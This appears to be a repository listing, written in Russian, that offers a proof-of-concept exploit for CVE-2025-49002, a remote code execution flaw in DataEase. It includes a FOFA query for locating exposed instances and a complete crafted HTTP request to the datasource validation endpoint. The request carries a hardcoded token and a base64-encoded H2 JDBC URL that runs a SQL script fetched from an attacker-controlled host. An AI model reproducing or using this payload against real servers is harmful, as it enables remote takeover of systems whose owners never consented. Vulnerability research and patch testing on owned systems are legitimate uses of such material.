feng-huang-0520/dataease_postgresql_jdbc_bypass-cve-2025-49002Доказательство концепции эксплуатации для CVE-2025-49002, уязвимости удалённого выполнения кода в DataEase через обход PostgreSQL JDBC, включая сформированный HTTP-запрос.
fofa-синтаксис: title="DataEase"
poc: "POST /de2api/datasource/validate HTTP/1.1 Host: your-ip Accept-Encoding: gzip, deflate, br, zstd sec-ch-ua: ""Google Chrome"";v=""135"", ""Not-A.Brand"";v=""8"", ""Chromium"";v=""135"" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 Accept: application/json, text/plain, / X-DE-TOKEN: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1aWQiOjEsIm9pZCI6MX0.a5QYOfZDYlhAy-zUMYzKBBvCUs1ogZhjwKV5SBTECt8 Accept-Language: zh-CN Sec-Fetch-Dest: empty sec-ch-ua-mobile: ?0 Sec-Fetch-Site: same-origin sec-ch-ua-platform: ""Windows"" Content-Type: application/json Sec-Fetch-Mode: cors Content-Length: 821
{ ""id"": """", ""name"": ""11"", ""description"": """", ""type"": ""h2"", ""apiConfiguration"": [], ""paramsConfiguration"": [], ""enableDataFill"": false, ""configuration"": ""eyJkYXRhQmFzZSI6IiIsImpkYmMiOiJqZGJjOmgyOm1lbTp0ZXN0ZGI7VFJBQ0VfTEVWRUxfU1lTVEVNX09VVD0zO2luaXQ9UlVuU0NSSVBUIEZST00gJ2h0dHA6Ly95b3VyLXZwczoyMzMzL3BvYy5zcWwnIiwidXJsVHlwZSI6ImpkYmNVcmwiLCJzc2hUeXBlIjoicGFzc3dvcmQiLCJleHRyYVBhcmFtcyI6IiIsInVzZXJuYW1lIjoiMTIzIiwicGFzc3dvcmQiOiIxMjMiLCJob3N0IjoiIiwiYXV0aE1ldGhvZCI6IiIsInBvcnQiOjAsImluaXRpYWxQb29sU2l6ZSI6NSwibWluUG9vbFNpemUiOjUsIm1heFBvb2xTaXplIjo1LCJxdWVyeVRpbWVvdXQiOjMwfQ=="" }"
